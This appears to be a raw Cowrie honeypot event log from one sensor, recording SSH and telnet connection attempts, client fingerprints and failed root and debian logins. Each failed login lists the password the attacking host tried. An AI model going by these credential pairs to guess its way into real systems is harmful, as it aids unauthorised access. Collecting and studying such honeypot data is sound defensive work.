{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:03.535601Z","src_ip":"43.156.136.152","session":"ad2db02b726d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#EDC","message":"login attempt [root/1qaz2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:04.552799Z","src_ip":"43.156.136.152","session":"ad2db02b726d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:05.802328Z","src_ip":"43.156.136.152","session":"ad2db02b726d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:10.752390Z","src_ip":"139.19.117.129","session":"2b044ce7df2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52950,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b979183e280","protocol":"ssh","message":"New connection: 193.32.162.151:52950 (159.203.135.109:22) [session: 6b979183e280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:13.299246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:13.304543Z","src_ip":"193.32.162.151","session":"6b979183e280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:13.413098Z","src_ip":"193.32.162.151","session":"6b979183e280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:13.713810Z","src_ip":"193.32.162.151","session":"6b979183e280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:14.818275Z","src_ip":"193.32.162.151","session":"6b979183e280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":41206,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a4aada02140","protocol":"ssh","message":"New connection: 103.183.114.55:41206 (10.17.0.5:22) [session: 4a4aada02140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:23.299444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:23.304261Z","src_ip":"103.183.114.55","session":"4a4aada02140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:23.526314Z","src_ip":"103.183.114.55","session":"4a4aada02140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"918273645","message":"login attempt [root/918273645] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:24.191640Z","src_ip":"103.183.114.55","session":"4a4aada02140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:25.417738Z","src_ip":"103.183.114.55","session":"4a4aada02140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":54942,"dst_ip":"10.17.0.5","dst_port":22,"session":"f68985a08c07","protocol":"ssh","message":"New connection: 43.228.112.254:54942 (10.17.0.5:22) [session: f68985a08c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:26.497170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:26.502164Z","src_ip":"43.228.112.254","session":"f68985a08c07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:26.722975Z","src_ip":"43.228.112.254","session":"f68985a08c07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deployerpass","message":"login attempt [root/deployerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:27.636905Z","src_ip":"43.228.112.254","session":"f68985a08c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:28.870882Z","src_ip":"43.228.112.254","session":"f68985a08c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48916,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbe82997176b","protocol":"ssh","message":"New connection: 37.143.61.84:48916 (10.17.0.5:22) [session: fbe82997176b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:35.220563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:35.308671Z","src_ip":"37.143.61.84","session":"fbe82997176b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:35.394903Z","src_ip":"37.143.61.84","session":"fbe82997176b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:36.314618Z","src_ip":"37.143.61.84","session":"fbe82997176b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:37.483416Z","src_ip":"37.143.61.84","session":"fbe82997176b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":34996,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe1d15102e66","protocol":"ssh","message":"New connection: 192.169.243.246:34996 (10.17.0.5:22) [session: fe1d15102e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:12.938376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:12.946672Z","src_ip":"192.169.243.246","session":"fe1d15102e66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:13.020880Z","src_ip":"192.169.243.246","session":"fe1d15102e66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"compaqpresario","message":"login attempt [root/compaqpresario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:13.342633Z","src_ip":"192.169.243.246","session":"fe1d15102e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:14.419031Z","src_ip":"192.169.243.246","session":"fe1d15102e66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.36","src_port":57530,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0fe7d4db638","protocol":"telnet","message":"New connection: 198.235.24.36:57530 (10.17.0.5:23) [session: d0fe7d4db638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:29.486895Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":48310,"dst_ip":"10.17.0.5","dst_port":22,"session":"6046c2f77130","protocol":"ssh","message":"New connection: 43.156.136.152:48310 (10.17.0.5:22) [session: 6046c2f77130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:29.904261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:29.909066Z","src_ip":"43.156.136.152","session":"6046c2f77130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:30.152422Z","src_ip":"43.156.136.152","session":"6046c2f77130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwrod","message":"login attempt [root/passwrod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:31.133399Z","src_ip":"43.156.136.152","session":"6046c2f77130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:32.374428Z","src_ip":"43.156.136.152","session":"6046c2f77130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.805337190628052,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:39.292130Z","src_ip":"198.235.24.36","session":"d0fe7d4db638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":43158,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c90fceb9bf3","protocol":"ssh","message":"New connection: 103.77.242.62:43158 (159.203.135.109:22) [session: 9c90fceb9bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:51.415829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:51.420694Z","src_ip":"103.77.242.62","session":"9c90fceb9bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:51.658243Z","src_ip":"103.77.242.62","session":"9c90fceb9bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mjkmjk21","message":"login attempt [root/mjkmjk21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:52.371230Z","src_ip":"103.77.242.62","session":"9c90fceb9bf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":54584,"dst_ip":"10.17.0.5","dst_port":22,"session":"1368eab6074c","protocol":"ssh","message":"New connection: 43.228.112.254:54584 (10.17.0.5:22) [session: 1368eab6074c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:52.694678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:52.699232Z","src_ip":"43.228.112.254","session":"1368eab6074c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-c